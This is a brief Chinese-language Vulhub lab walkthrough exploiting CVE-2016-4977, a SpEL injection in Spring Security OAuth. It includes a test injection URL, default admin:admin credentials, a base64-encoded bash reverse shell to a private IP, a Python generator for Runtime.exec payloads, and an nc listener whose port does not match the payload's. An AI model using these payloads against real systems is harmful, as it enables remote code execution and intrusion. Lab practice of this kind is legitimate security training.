1.执行以下命令启动靶场环境并在浏览器访问
cd /vulhub/spring/CVE-2016-4977
docker-compose up -d
docker ps
2.输入以下命令测试环境
172.16.1.95:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
输入默认口令admin:admin即可
3.反弹shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS44OS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
4.创建poc.py,下面内容写入
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
CVE-2016-4977目录中运行poc 输入生成的shell
5.开启监听,执行反弹
nc -lvvp 6666